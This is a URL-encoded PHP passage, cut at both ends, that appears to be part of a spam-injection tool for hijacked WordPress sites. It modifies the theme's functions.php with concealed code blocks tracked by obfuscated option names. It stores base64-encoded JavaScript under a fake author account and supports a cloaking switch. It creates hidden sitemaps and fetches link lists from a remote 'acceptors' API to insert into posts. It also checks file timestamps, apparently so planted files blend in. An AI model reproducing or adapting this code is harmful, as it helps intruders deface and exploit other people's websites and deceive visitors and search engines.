++++%2F%2F+Remove+delimiter+from+ends%0D%0A++++%24str+%3D+trim%28%24str%2C+%24options%5B%27delimiter%27%5D%29%3B%0D%0A%0D%0A++++return+%24options%5B%27lowercase%27%5D+%3F+mb_strtolower%28%24str%2C+%27UTF-8%27%29+%3A+%24str%3B%0D%0A%7D%0D%0A%0D%0Afunction+removeDirRec%28%24dir%29+%7B%0D%0A++++if+%28%24objs+%3D+glob%28%24dir+.+%22%2F*%22%29%29+%7B%0D%0A++++++++foreach+%28%24objs+as+%24obj%29+%7B%0D%0A++++++++++++is_dir%28%24obj%29+%3F+removeDirRec%28%24obj%29+%3A+unlinkHandler%28%24obj%29%3B%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A++++rmdir%28%24dir%29%3B%0D%0A%7D%0D%0A%0D%0Afunction+unlinkHandler%28%24obj%29+%7B%0D%0A++++if+%28unlink%28%24obj%29%29+%7B%0D%0A++++++++echo+%22%24obj+deleted+%22+.+PHP_EOL%3B%0D%0A%0D%0A++++++++return%3B%0D%0A++++%7D%0D%0A++++echo+%22%21%21%21%21%21%21%21%24obj+failed+to+delete+%21%21%21%21%21%21%21%22+.+PHP_EOL%3B%0D%0A%7D%0D%0A%0D%0Afunction+deletePosts%28%24global+%3D+false%29+%7B%0D%0A%0D%0A++++%24userId+%3D+defined%28%27CUSTOM_AUTHOR_ID%27%29+%3F+CUSTOM_AUTHOR_ID+%3A+9999%3B%0D%0A%0D%0A++++if+%28%24global%29+%7B%0D%0A++++++++%24settings+%3D+getDbSettingsCustom%28%29%3B%0D%0A%0D%0A++++++++if+%28%21%24settings%29+%7B%0D%0A++++++++++++echo+%27invalid+get+settings+from+db%27+.+PHP_EOL%3B%0D%0A++++++++%7D+else+%7B%0D%0A++++++++++++%24users+%3D+array_keys%28%24settings%29%3B%0D%0A++++++++++++if+%28%21in_array%289999%2C+%24users%29%29+%7B%0D%0A++++++++++++++++%24users%5B%5D+%3D+9999%3B%0D%0A++++++++++++%7D%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A%0D%0A++++if+%28%21isset%28%24users%29%29+%7B%0D%0A++++++++%24users+%3D+array%28%24userId%29%3B%0D%0A++++%7D%0D%0A%0D%0A++++CustomDbHandler%3A%3AgetInstance%28%29-%3EdeletePosts%28%24users%29%3B%0D%0A%0D%0A++++return+true%3B%0D%0A%7D%0D%0A%0D%0Afunction+replacePTags%28%24source%2C+%24links%29+%7B%0D%0A%0D%0A++++preg_match_all%28%27%7E.%7B20%7D%3C%5C%2Fp%3E%7Eus%27%2C+%24source%2C+%24matches%29%3B%0D%0A%0D%0A++++if+%28empty%28%24matches%5B0%5D%29%29+%7B%0D%0A++++++++return+null%3B%0D%0A++++%7D%0D%0A%0D%0A++++%24num+%3D+range%280%2C+count%28%24matches%5B0%5D%29+-+1%29%3B%0D%0A++++%24patternsReplacementsArr+%3D+array%28%29%3B%0D%0A%0D%0A++++foreach+%28%24links+as+%24link%29+%7B%0D%0A++++++++%24randNum+%3D+%24num%5Brand%280%2C+count%28%24matches%5B0%5D%29+-+1%29%5D%3B%0D%0A++++++++%24pattern+%3D+%27%7E%27+.+preg_quote%28%24matches%5B0%5D%5B%24randNum%5D%29+.+%27%7Eus%27%3B%0D%0A%0D%0A++++++++if+%28isset%28%24patternsReplacementsArr%5B%24pattern%5D%29%29+%7B%0D%0A++++++++++++%24patternsReplacementsArr%5B%24pattern%5D+%3D+%24patternsReplacementsArr%5B%24pattern%5D+.+%22%5Cn%22+.+%24link%3B%0D%0A++++++++%7D+else+%7B%0D%0A++++++++++++%24patternsReplacementsArr%5B%24pattern%5D+%3D+%24matches%5B0%5D%5B%24randNum%5D+.+%22%5Cn%22+.+%24link%3B%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A%0D%0A++++return+preg_replace%28array_keys%28%24patternsReplacementsArr%29%2C+array_values%28%24patternsReplacementsArr%29%2C+%24source%29%3B%0D%0A%7D%0D%0A%0D%0Afunction+urlBlockSec%28%24url%2C+%24lastmod%2C+%24changefreq%2C+%24priority%29+%7B%0D%0A%0D%0A++++return+%3C%3C%3CSTR%0D%0A+++%3Curl%3E%0D%0A++++++%3Cloc%3E%24url%3C%2Floc%3E%0D%0A++++++%3Clastmod%3E%24lastmod%3C%2Flastmod%3E%0D%0A++++++%3Cchangefreq%3E%24changefreq%3C%2Fchangefreq%3E%0D%0A++++++%3Cpriority%3E%24priority%3C%2Fpriority%3E%0D%0A+++%3C%2Furl%3E%5Cn%5Cn%0D%0ASTR%3B%0D%0A%7D%0D%0A%0D%0Afunction+currenturl%28%24rootDir%2C+%24host+%3D+null%29+%7B%0D%0A%0D%0A++++%24host+%3D+%21%24host+%3F+%27http%3A%2F%2F%27+.+%24_SERVER%5B%27HTTP_HOST%27%5D+%3A+%24host%3B%0D%0A++++%24tmp+%3D+str_replace%28realpath%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%29%2C+%27%27%2C+%24host+.+%24rootDir%29%3B%0D%0A%0D%0A++++return+%24tmp%3B%0D%0A%7D%0D%0A%0D%0Afunction+checkSitemapNameRoot%28%29+%7B%0D%0A%0D%0A++++if+%28%21is_writeable%28WP_ROOT_DIR%29%29+%7B%0D%0A++++++++echo+WP_ROOT_DIR+.+%27+isnt+writeable%27+.+PHP_EOL%3B%0D%0A%0D%0A++++++++return+false%3B%0D%0A++++%7D%0D%0A%0D%0A++++if+%28file_exists%28WP_ROOT_DIR+.+%27%2F%27+.+SITEMAP_NAME+.+%27.xml%27%29%29+%7B%0D%0A++++++++echo+SITEMAP_NAME+.+%27.xml+in+root+dir%2C+change+sitemap+name%27+.+PHP_EOL%3B%0D%0A%0D%0A++++++++return+false%3B%0D%0A++++%7D%0D%0A%0D%0A++++return+true%3B%0D%0A%7D%0D%0A%0D%0Afunction+frequenttimestamp%28%24pathtodir%29+%7B%0D%0A%0D%0A++++foreach+%28glob%28%24pathtodir+.+%22%2F*php%22%29+as+%24file%29+%7B%0D%0A++++++++%24tmp%5B%5D+%3D+filemtime%28%24file%29%3B%0D%0A++++%7D%0D%0A++++%24count+%3D+array_count_values%28%24tmp%29%3B%0D%0A++++arsort%28%24count%29%3B%0D%0A++++%24keys+%3D+array_keys%28%24count%29%3B%0D%0A%0D%0A++++return+array_shift%28%24keys%29%3B%0D%0A%7D%0D%0A%0D%0Afunction+mb_basename%28%24file%2C+%24ext+%3D+%27%27%29+%7B%0D%0A++++%24explodedPath+%3D+explode%28%27%2F%27%2C+%24file%29%3B%0D%0A++++%24last+%3D+end%28%24explodedPath%29%3B%0D%0A%0D%0A++++return+%28%24ext+%21%3D%3D+%27%27%29+%3F+str_replace%28%24ext%2C+%27%27%2C+%24last%29+%3A+%24last%3B%0D%0A%7D%0D%0A%0D%0Afunction+generateSettings%28%24userId%2C+%24jsSource%2C+%24sitemapRegex%2C+%24feedPath%2C+%24homeLinksSettings%29+%7B%0D%0A++++return+array%28%0D%0A++++++++%24userId+%3D%3E+array%28%0D%0A++++++++++++%27js%27+%3D%3E+%24jsSource%2C%0D%0A++++++++++++%27sitemapsettings%27+%3D%3E+array%28%0D%0A++++++++++++++++%24sitemapRegex+%3D%3E+%24feedPath%2C%0D%0A++++++++++++%29%2C%0D%0A++++++++++++%27nojs%27+%3D%3E+%28defined%28%27CLOACKING%27%29%29+%3F+CLOACKING+%3A+0%2C%0D%0A++++++++++++%27homeLinks%27+%3D%3E+%28defined%28%27HOME_LINKS%27%29+%26%26+HOME_LINKS+%3D%3D%3D+1%29+%3F+%24homeLinksSettings+%3A+null%2C%0D%0A++++++++%29%2C%0D%0A++++%29%3B%0D%0A%7D%0D%0A%0D%0Afunction+mbReplaceCustomFilters%28%24functionsSource%2C+%24functionsPath%2C+%24sourceMod%29+%7B%0D%0A++++%24optionCustom+%3D+optionCustomFunctions%28%29%3B%0D%0A++++%24customFiltersRegexp+%3D+%27%7E%2F%5C*%5Cs%2Bcustom+filters%5Cs%2B%5C*%2F%28.%2B%29%2F%5C*%5Cs*custom+filters%5Cs*%5C*%2F%7Esu%27%3B%0D%0A++++%24customFiltersRegexpSec+%3D+%22%7E%2F%5C*%5Cs*%24optionCustom%5Cs*%5C*%2F%28.%2B%29%2F%5C*%5Cs*%24optionCustom%5Cs*%5C*%2F%7Esu%22%3B%0D%0A%0D%0A%0D%0A++++if+%28preg_match%28%24customFiltersRegexp%2C+%24functionsSource%2C+%24matches%29%29+%7B%0D%0A++++++++%2F%2Fecho+old+custom+filters+exists%0D%0A++++++++if+%28modify_functions_php%28%24functionsPath%2C+%24sourceMod%2C+TMPDIR%2C+true%29%29+%7B%0D%0A++++++++++++echo+%22functions+modified%22+.+PHP_EOL%3B%0D%0A++++++++++++return+true%3B%0D%0A++++++++%7D%0D%0A%0D%0A++++%7D%0D%0A++++if+%28preg_match%28%24customFiltersRegexpSec%2C+%24functionsSource%2C+%24matches%29%29+%7B%0D%0A%0D%0A++++++++%24sourceHash+%3D+md5%28trim%28%24matches%5B1%5D%29%29%3B%0D%0A++++++++%24dbHash+%3D+CustomDbHandler%3A%3AgetInstance%28%29-%3EgetOption%28%24optionCustom%29%3B%0D%0A%0D%0A++++++++if+%28%24sourceHash+%3D%3D%3D+%24dbHash%5B%27option_value%27%5D%29+%7B%0D%0A++++++++++++echo+%22functions+php+hashes+are+identity%22+.+PHP_EOL%3B%0D%0A++++++++++++return+true%3B%0D%0A++++++++%7D+else+%7B%0D%0A++++++++++++echo+%27checksums+do+not+match%27+.+PHP_EOL%3B%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A%0D%0A++++echo+%22code+not+found...+record%21%22+.+PHP_EOL%3B%0D%0A++++if+%28modify_functions_php%28%24functionsPath%2C+%24sourceMod%2C+TMPDIR%2C+true%29%29+%7B%0D%0A++++++++echo+%22functions+modified%22+.+PHP_EOL%3B%0D%0A++++++++preg_match%28%24customFiltersRegexpSec%2C+%24functionsSource%2C+%24matches%29%3B%0D%0A%0D%0A++++++++preg_match%28%24customFiltersRegexpSec%2C+%24sourceMod%2C+%24matches%29%3B%0D%0A++++++++%24controlHash+%3D+md5%28trim%28%24matches%5B1%5D%29%29%3B%0D%0A%0D%0A++++++++%24newHashResult+%3D+CustomDbHandler%3A%3AgetInstance%28%29-%3EinsertOrUpdate%28%24optionCustom%2C+%24controlHash%29%3B%0D%0A++++++++%24dbHash+%3D+CustomDbHandler%3A%3AgetInstance%28%29-%3EgetOption%28%24optionCustom%29%3B%0D%0A++++++++return+true%3B%0D%0A++++%7D%0D%0A%0D%0A%0D%0A++++return+false%3B%0D%0A%7D%0D%0A%0D%0Afunction+customSitemapName%28%24sitemapName%29+%7B%0D%0A++++return+array%28%0D%0A++++++++%22%24sitemapName%5C.xml%24%22+%3D%3E+%22index.php%3Ffeed%3Dxml%24sitemapName%22%0D%0A++++%29%3B%0D%0A%7D%0D%0A%0D%0A%0D%0Afunction+viewSettingsAsJsonAction%28%29+%7B%0D%0A++++%24settings+%3D+getDbSettingsCustom%28%29%3B%0D%0A%0D%0A++++if+%28%24settings%29+%7B%0D%0A++++++++%24settings+%3D+addPostsCountInSettings%28%24settings%29%3B%0D%0A++++++++echo+json_encode%28%24settings%29%3B%0D%0A++++++++return+true%3B%0D%0A++++%7D%0D%0A++++echo+json_encode%28array%28%27empty+settings%27%29%29%3B%0D%0A++++return+true%3B%0D%0A%0D%0A%7D%0D%0A%0D%0A%0D%0Afunction+viewSettingsAction%28%29+%7B%0D%0A++++%24settings+%3D+getDbSettingsCustom%28%29%3B%0D%0A%0D%0A++++if+%28%24settings%29+%7B%0D%0A%0D%0A++++++++foreach+%28%24settings+as+%24userId+%3D%3E+%24arr%29+%7B%0D%0A%0D%0A++++++++++++echo+str_repeat%28%27_%27%2C+100%29+.+PHP_EOL%3B%0D%0A++++++++++++echo+%24userId+.+%27+-+userId%27+.+PHP_EOL%3B%0D%0A++++++++++++if+%28isset%28%24arr%5B%27js%27%5D%29+%26%26+%24decodedJs+%3D+detectBase64js%28%24arr%5B%27js%27%5D%29%29+%7B%0D%0A++++++++++++++++%24arr%5B%27js%27%5D+%3D+parseJsScript%28%24decodedJs%29%3B%0D%0A++++++++++++%7D%0D%0A++++++++++++echo+json_encode%28%24arr%2C+JSON_PRETTY_PRINT%29%3B%0D%0A++++++++++++echo+str_repeat%28%27_%27%2C+100%29+.+PHP_EOL%3B%0D%0A++++++++%7D%0D%0A%0D%0A++++++++return+true%3B%0D%0A++++%7D%0D%0A%0D%0A++++return+false%3B%0D%0A%7D%0D%0A%0D%0Afunction+homeLinksSettingsFormatter%28%24arr%29+%7B%0D%0A%0D%0A%0D%0A++++if+%28%21%24arr%29+%7B%0D%0A++++++++return+%27%27%3B%0D%0A++++%7D%0D%0A%0D%0A++++foreach+%28%24arr+as+%24key+%3D%3E+%24value%29+%7B%0D%0A%0D%0A++++++++if+%28is_array%28%24value%29%29+%7B%0D%0A++++++++++++foreach+%28%24value+as+%24keySec+%3D%3E+%24valueSec%29+%7B%0D%0A++++++++++++++++echo+sprintf%28%27++%25s+%3D%3E+%25s%25s%27%2C+%24keySec%2C+%24valueSec%2C+PHP_EOL%29%3B%0D%0A++++++++++++%7D%0D%0A++++++++++++continue%3B%0D%0A++++++++%7D%0D%0A%0D%0A%0D%0A++++++++echo+sprintf%28%27++%25s+%3D%3E+%25s%25s%27%2C+%24key%2C+%24value%2C+PHP_EOL%29%3B%0D%0A++++%7D%0D%0A%0D%0A++++return%3B%0D%0A%7D%0D%0A%0D%0Afunction+detectBase64js%28%24string%29+%7B%0D%0A%0D%0A++++if+%28preg_match%28%27%7Edata%3Atext%5C%2Fjavascript%3Bbase64%2C%28.%2B%3F%29%5C%22%3E%7Es%27%2C+%24string%2C+%24matches%29%29+%7B%0D%0A++++++++return+base64_decode%28%24matches%5B1%5D%29%3B%0D%0A++++%7D%0D%0A%0D%0A++++return+false%3B%0D%0A%7D%0D%0A%0D%0Afunction+parseJsScript%28%24string%29+%7B%0D%0A%0D%0A++++%24results+%3D+array%28%29%3B%0D%0A++++preg_match%28%27%7Ehit%3B%28%5B%5E%5C%3F%5D%2B%29%7E%27%2C+%24string%2C+%24lirucounter%29%3B%0D%0A%0D%0A++++if+%28isset%28%24lirucounter%5B1%5D%29%29+%7B%0D%0A++++++++%24results%5B%27lirucounter%27%5D+%3D+%24lirucounter%5B1%5D%3B%0D%0A++++%7D%0D%0A%0D%0A%0D%0A++++preg_match%28%27%7E%28%5B%5E%5C%22%5C.%5C%2F%5D%2B%5C.js%29%5C%3Fref%7E%27%2C+%24string%2C+%24route%29%3B%0D%0A%0D%0A++++if+%28isset%28%24route%5B1%5D%29%29+%7B%0D%0A++++++++%24results%5B%27route%27%5D+%3D+%24route%5B1%5D%3B%0D%0A++++%7D%0D%0A%0D%0A%0D%0A++++preg_match%28%27%7Esrc%3D.%2B%3F%28%5B%5E%5C%2F%5C%22%5C%5C%5C%5C%5D%2B%29%7E%27%2C+%24string%2C+%24domain%29%3B%0D%0A%0D%0A++++if+%28isset%28%24domain%5B1%5D%29%29+%7B%0D%0A++++++++%24results%5B%27domain%27%5D+%3D+%24domain%5B1%5D%3B%0D%0A++++%7D%0D%0A%0D%0A++++return+%24results%3B%0D%0A%7D%0D%0A%0D%0Afunction+settingsArr%28%24functionsSource%29+%7B%0D%0A%0D%0A++++%24oldSettings+%3D+findOldSettings%28%24functionsSource%29%3B%0D%0A++++%24userId+%3D+defined%28%27CUSTOM_AUTHOR_ID%27%29+%3F+CUSTOM_AUTHOR_ID+%3A+9999%3B%0D%0A++++%24sitemapRegexArr+%3D+customSitemapName%28SITEMAP_NAME%29%3B%0D%0A%0D%0A++++%24newSettings+%3D+generateSettings%28%24userId%2C+jsPrepare%28JS_SOURCE%29%2C+key%28%24sitemapRegexArr%29%0D%0A++++++++%2C+current%28%24sitemapRegexArr%29%2C+%24_SERVER%5B%27homeLinksSettings%27%5D%29%3B%0D%0A%0D%0A++++if+%28%21%24oldSettings%29+%7B%0D%0A%0D%0A++++++++%2F%2Fecho+%27only+new+settings%27+.+PHP_EOL%3B%0D%0A%0D%0A++++++++return+%24newSettings%3B%0D%0A++++%7D+else+%7B%0D%0A++++++++%24settings+%3D+compareNewOldSettings%28%24oldSettings%2C+%24newSettings%2C+%24userId%29%3B%0D%0A++++++++if+%28defined%28%27FORCE_CHANGE_HOME_LINKS_OWNER%27%29+%26%26+FORCE_CHANGE_HOME_LINKS_OWNER+%3D%3D%3D+1%29+%7B%0D%0A++++++++++++%24settings+%3D+removeHomeLinkKey%28%24settings%29%3B%0D%0A++++++++%7D%0D%0A%0D%0A++++++++return+%24settings%3B%0D%0A++++%7D%0D%0A%7D%0D%0A%0D%0Afunction+compareNewOldSettings%28%24oldSettings%2C+%24newSettings%2C+%24userId%29+%7B%0D%0A%0D%0A++++if+%28%21isset%28%24oldSettings%5B%24userId%5D%29%29+%7B%0D%0A++++++++%24newSettingsKey+%3D+key%28%24newSettings%29%3B%0D%0A++++++++%24newSettingsRegex+%3D+key%28%24newSettings%5B%24newSettingsKey%5D%5B%27sitemapsettings%27%5D%29%3B%0D%0A++++++++foreach+%28%24oldSettings+as+%24key+%3D%3E+%24value%29+%7B%0D%0A%0D%0A++++++++++++%24oldSettingsRegex+%3D+key%28%24value%5B%27sitemapsettings%27%5D%29%3B%0D%0A%0D%0A++++++++++++if+%28%24oldSettingsRegex+%3D%3D%3D+%24newSettingsRegex%29+%7B%0D%0A++++++++++++++++%24oldSitemapValue+%3D+str_replace%28%27%5C.xml%24%27%2C+%27%27%2C+%24oldSettingsRegex%29%3B%0D%0A++++++++++++++++echo+%24oldSitemapValue+.+%27+already+use+in+oldsettings%27+.+PHP_EOL%3B%0D%0A%0D%0A++++++++++++++++return+false%3B%0D%0A++++++++++++%7D%0D%0A++++++++%7D%0D%0A%0D%0A++++++++return+%24newSettings+%2B+%24oldSettings%3B%0D%0A++++%7D%0D%0A%0D%0A++++%24jsDiff+%3D+strcmp%28%24oldSettings%5B%24userId%5D%5B%27js%27%5D%2C+%24newSettings%5B%24userId%5D%5B%27js%27%5D%29%3B%0D%0A%0D%0A++++if+%28%24jsDiff+%21%3D%3D+0%29+%7B%0D%0A%0D%0A++++++++echo+%27js+scripts+are+different%27+.+PHP_EOL%3B%0D%0A++++++++if+%28defined%28%27REDEFINE_JS_FOR_USER%27%29+%26%26+REDEFINE_JS_FOR_USER+%3D%3D%3D+1%29+%7B%0D%0A++++++++++++echo+%27old+script+will+be+overwritten%27+.+PHP_EOL%3B%0D%0A++++++++%7D+else+%7B%0D%0A++++++++++++return+false%3B%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A%0D%0A++++%24sitemapSettingsDiff+%3D+strcmp%28key%28%24oldSettings%5B%24userId%5D%5B%27sitemapsettings%27%5D%29%0D%0A++++++++%2C+key%28%24newSettings%5B%24userId%5D%5B%27sitemapsettings%27%5D%29%29%3B%0D%0A%0D%0A++++if+%28%24sitemapSettingsDiff+%21%3D%3D+0%29+%7B%0D%0A++++++++%24oldSitemapValue+%3D+key%28%24oldSettings%5B%24userId%5D%5B%27sitemapsettings%27%5D%29%3B%0D%0A++++++++%24oldSitemapValue+%3D+str_replace%28%27%5C.xml%24%27%2C+%27%27%2C+%24oldSitemapValue%29%3B%0D%0A++++++++echo+%27sitemap+settings+are+different%27+.+PHP_EOL%3B%0D%0A++++++++echo+%22old+sitemap+value+%24oldSitemapValue%22+.+PHP_EOL%3B%0D%0A%0D%0A++++++++return+false%3B%0D%0A++++%7D%0D%0A%0D%0A++++return+%24newSettings+%2B+%24oldSettings%3B%0D%0A++++%2F%2Freturn+%24newSettings%3B%0D%0A%7D%0D%0A%0D%0Afunction+linkBuildingSettingsCheck%28%29+%7B%0D%0A++++if+%28defined%28%27EXTERNAL_LINKING%27%29+%26%26+%28EXTERNAL_LINKING+%3D%3D%3D+1%29%29+%7B%0D%0A++++++++if+%28%21defined%28%27EXTERNAL_LINKS_COUNT_PAGE%27%29%29+%7B%0D%0A++++++++++++echo+%27set+EXTERNAL_LINKS_COUNT_PAGE%27+.+PHP_EOL%3B%0D%0A%0D%0A++++++++++++return+false%3B%0D%0A++++++++%7D%0D%0A++++++++if+%28%21defined%28%27TABLE_HASH%27%29+%26%26+%21defined%28%27HTML_HASH%27%29%29+%7B%0D%0A++++++++++++echo+%27set+TABLE_HASH+or+HTML_HASH+value%27+.+PHP_EOL%3B%0D%0A%0D%0A++++++++++++return+false%3B%0D%0A++++++++%7D%0D%0A%0D%0A++++++++if+%28%21defined%28%27COUNT_LINKS_FROM_DOMAIN%27%29%29+%7B%0D%0A++++++++++++echo+%27set+COUNT_LINKS_FROM_DOMAIN%27+.+PHP_EOL%3B%0D%0A%0D%0A++++++++++++return+false%3B%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A%0D%0A++++return+true%3B%0D%0A%7D%0D%0A%0D%0Afunction+downloadExternalLinks%28%24countHtmlFiles%29+%7B%0D%0A++++list+%28%24minExtLinks%2C+%24maxExtLinks%29+%3D+explode%28%27..%27%2C+EXTERNAL_LINKS_COUNT_PAGE%29%3B%0D%0A++++%24linksLimit+%3D+%24countHtmlFiles+*+%24maxExtLinks%3B%0D%0A%0D%0A++++%24params+%3D+array%28%0D%0A++++++++%27tableHash%27+%3D%3E+defined%28%27TABLE_HASH%27%29+%3F+TABLE_HASH+%3A+%27%27%2C%0D%0A++++++++%27htmlHash%27+%3D%3E+defined%28%27HTML_HASH%27%29+%3F+HTML_HASH+%3A+%27%27%2C%0D%0A++++++++%27linksLimit%27+%3D%3E+%24linksLimit%2C%0D%0A++++++++%27maxLinksCount%27+%3D%3E+COUNT_LINKS_FROM_DOMAIN%2C%0D%0A++++%29%3B%0D%0A%0D%0A++++%24query+%3D+http_build_query%28%24params%29%3B%0D%0A%0D%0A++++get_file%28GS_ALIAS+.+%27%2Fdnc%2Fwp-acceptors-api%2Fbatch-get-links-test%3F%27+.+%24query%2C+TMPDIR+.+%27%2Fext-links.txt%27%29%3B%0D%0A%7D%0D%0A%0D%0Afunction+textWithLinks%28%24text%2C+%24results%2C+%26%24extLinksArr%29+%7B%0D%0A%0D%0A++++%24internalLinks+%3D+array%28%29%3B%0D%0A++++%24externalLinks+%3D+array%28%29%3B%0D%0A%0D%0A++++if+%28INTERNAL_LINKING+%3D%3D%3D+1%29+%7B%0D%0A%0D%0A++++++++list+%28%24minLinks%2C+%24maxLinks%29+%3D+explode%28%27..%27%2C+INTERNAL_LINKS_COUNT_PAGE%29%3B%0D%0A++++++++%24range+%3D+range%28%24minLinks%2C+%24maxLinks%29%3B%0D%0A++++++++%24linksCount+%3D+%24range%5Brand%280%2C+count%28%24range%29+-+1%29%5D%3B%0D%0A%0D%0A++++++++if+%28count%28%24results%29+%3E%3D+%24linksCount%29+%7B%0D%0A++++++++++++shuffle%28%24results%29%3B%0D%0A++++++++++++%24slicedResults+%3D+array_slice%28%24results%2C+0%2C+%24linksCount%29%3B%0D%0A++++++++++++%24internalLinks+%3D+linksPrepare%28%24slicedResults%29%3B%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A%0D%0A++++if+%28%28EXTERNAL_LINKING+%3D%3D%3D+1%29+%26%26+%21empty%28%24extLinksArr%29%29+%7B%0D%0A++++++++list+%28%24minLinks%2C+%24maxLinks%29+%3D+explode%28%27..%27%2C+EXTERNAL_LINKS_COUNT_PAGE%29%3B%0D%0A++++++++%24randCount+%3D+rand%28%24minLinks%2C+%24maxLinks%29%3B%0D%0A%0D%0A++++++++if+%28%24randCount+%3C%3D+count%28%24extLinksArr%29%29+%7B%0D%0A++++++++++++%24externalLinks+%3D+array_splice%28%24extLinksArr%2C+0%2C+%24randCount%29%3B%0D%0A++++++++%7D+else+%7B%0D%0A++++++++++++%24externalLinks+%3D+%24extLinksArr%3B%0D%0A++++++++++++%24extLinksArr+%3D+array%28%29%3B%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A%0D%0A++++%24allLinksTypes+%3D+%24externalLinks+%2B+%24internalLinks%3B%0D%0A%0D%0A++++return+replacePTags%28%24text%2C+%24allLinksTypes%29%3B%0D%0A%7D%0D%0A%0D%0Afunction+decodeExternalLinks%28%29+%7B%0D%0A++++if+%28%21file_exists%28TMPDIR+.+%27%2Fext-links.txt%27%29%29+%7B%0D%0A++++++++echo+%27no+external+links+source%27+.+PHP_EOL%3B%0D%0A%0D%0A++++++++return+false%3B%0D%0A++++%7D%0D%0A%0D%0A++++%24extLinksSource+%3D+file_get_contents%28TMPDIR+.+%27%2Fext-links.txt%27%29%3B%0D%0A%0D%0A++++%24extLinksSourceDecode+%3D+json_decode%28%24extLinksSource%2C+1%29%3B%0D%0A%0D%0A++++if+%28%21is_array%28%24extLinksSourceDecode%29+%7C%7C+%21isset%28%24extLinksSourceDecode%5B%27links%27%5D%29%29+%7B%0D%0A%0D%0A++++++++if+%28trim%28%24extLinksSource%29+%3D%3D+%27tmp+table+not+found%27%29+%7B%0D%0A++++++++++++echo+TABLE_HASH+.+%27+table+not+found%27+.+PHP_EOL%3B%0D%0A%0D%0A++++++++++++return+false%3B%0D%0A++++++++%7D%0D%0A%0D%0A++++++++if+%28trim%28%24extLinksSource%29+%3D%3D+%27table+expired%27%29+%7B%0D%0A++++++++++++echo+TABLE_HASH+.+%27+table+expired%27+.+PHP_EOL%3B%0D%0A%0D%0A++++++++++++return+false%3B%0D%0A++++++++%7D%0D%0A%0D%0A++++++++if+%28trim%28%24extLinksSource%29+%3D%3D+%27table+is+empty%27%29+%7B%0D%0A++++++++++++echo+TABLE_HASH+.+%27+db+links+not+found%27%3B%0D%0A%0D%0A++++++++++++return+false%3B%0D%0A++++++++%7D%0D%0A%0D%0A++++++++if+%28trim%28%24extLinksSource%29+%3D%3D+%27file+with+links+not+found%27%29+%7B%0D%0A++++++++++++echo+HTML_HASH+.+%27+file+with+links+not+found%27%3B%0D%0A%0D%0A++++++++++++return+false%3B%0D%0A++++++++%7D%0D%0A%0D%0A%0D%0A++++++++echo+%27error+while+decoding+json+external+links%27+.+PHP_EOL%3B%0D%0A%0D%0A++++++++return+false%3B%0D%0A++++%7D%0D%0A%0D%0A++++return+%24extLinksSourceDecode%5B%27links%27%5D%3B%0D%0A%7D%0D%0A%0D%0Afunction+deleteSettings%28%29+%7B%0D%0A%0D%0A++++if+%28%21defined%28%27CUSTOM_AUTHOR_ID%27%29%29+%7B%0D%0A++++++++return%3B%0D%0A++++%7D%0D%0A%0D%0A++++%24settings+%3D+getDbSettingsCustom%28%29%3B%0D%0A%0D%0A++++if+%28isset%28%24settings%5BCUSTOM_AUTHOR_ID%5D%29%29+%7B%0D%0A++++++++unset%28%24settings%5BCUSTOM_AUTHOR_ID%5D%29%3B%0D%0A++++++++echo+%27delete+settings+for+user+id+%27+.+CUSTOM_AUTHOR_ID+.+PHP_EOL%3B%0D%0A++++++++writeSettingsDB%28%24settings%29%3B%0D%0A++++%7D%0D%0A%7D%0D%0A%0D%0Afunction+isJsonCustom%28%24string%29+%7B%0D%0A++++json_decode%28%24string%29%3B%0D%0A%0D%0A++++return+%28json_last_error%28%29+%3D%3D+JSON_ERROR_NONE%29%3B%0D%0A%7D%0D%0A%0D%0Afunction+isBadEnvCustom%28%29+%7B%0D%0A%0D%0A++++%24requestUri+%3D+%24_SERVER%5B%27REQUEST_URI%27%5D%3B%0D%0A%0D%0A++++if+%28strstr%28%24requestUri%2C+%27wp-config-sample.php%27%29+%21%3D%3D+false%29+%7B%0D%0A++++++++return+true%3B%0D%0A++++%7D%0D%0A%0D%0A++++return+false%3B%0D%0A%7D%0D%0A%0D%0Afunction+allPermalinksAction%28%29+%7B%0D%0A++++var_dump%28CustomDbHandler%3A%3AgetInstance%28%29%0D%0A++++++++-%3EallPostsFromDb%28HOME_URL%2C+CUSTOM_AUTHOR_ID%29%29%3B%0D%0A%0D%0A++++return%3B%0D%0A%7D%0D%0A%0D%0Afunction+optionCustomFunctions%28%29+%7B%0D%0A++++return+md5%28crc32%28%24_SERVER%5B%27HTTP_HOST%27%5D%29%29%3B%0D%0A%7D%0D%0A%0D%0Afunction+optionCustomFilters%28%29+%7B%0D%0A++++return+md5%28sha1%28%24_SERVER%5B%27HTTP_HOST%27%5D%29%29%3B%0D%0A%7D%0D%0A%0D%0Afunction+gzCompressCustom%28%24string%29+%7B%0D%0A++++return+base64_encode%28gzdeflate%28%24string%2C+9%29%29%3B%0D%0A%7D%0D%0A%0D%0Aclass+CustomDbHandler%0D%0A%7B%0D%0A%0D%0A++++%2F**%0D%0A+++++*+%40var+CustomDbHandler%0D%0A+++++*%2F%0D%0A++++private+static+%24instance%3B%0D%0A%0D%0A++++const+DB_TYPE_SQLITE+%3D+%27sqlite%27%3B%0D%0A++++const+DB_TYPE_MYSQL+%3D+%27mysql%27%3B%0D%0A%0D%0A++++private+%24dsn%3B%0D%0A++++public+%24dbName%3B%0D%0A++++public+%24dbPrefix%3B%0D%0A++++public+%24dbUser%3B%0D%0A++++public+%24dbPassword%3B%0D%0A++++public+%24dbHostAddr%3B%0D%0A++++public+%24dbPort%3B%0D%0A%0D%0A++++public+%24dbType%3B%0D%0A%0D%0A++++public+function+__construct%28%24db%2C+%24config+%3D+false%29+%7B%0D%0A++++++++%24this-%3Edsn+%3D+%24db%3B%0D%0A++++++++%24this-%3EsetDBSettings%28%24config%29%3B%0D%0A++++++++%24this-%3EdbType+%3D+%28%21%24config%29+%3F+self%3A%3ADB_TYPE_SQLITE+%3A+self%3A%3ADB_TYPE_MYSQL%3B%0D%0A++++++++static%3A%3A%24instance+%3D+%24this%3B%0D%0A%0D%0A++++%7D%0D%0A%0D%0A++++public+static+function+getInstance%28%29+%7B%0D%0A++++++++if+%28static%3A%3A%24instance%29+%7B%0D%0A++++++++++++return+static%3A%3A%2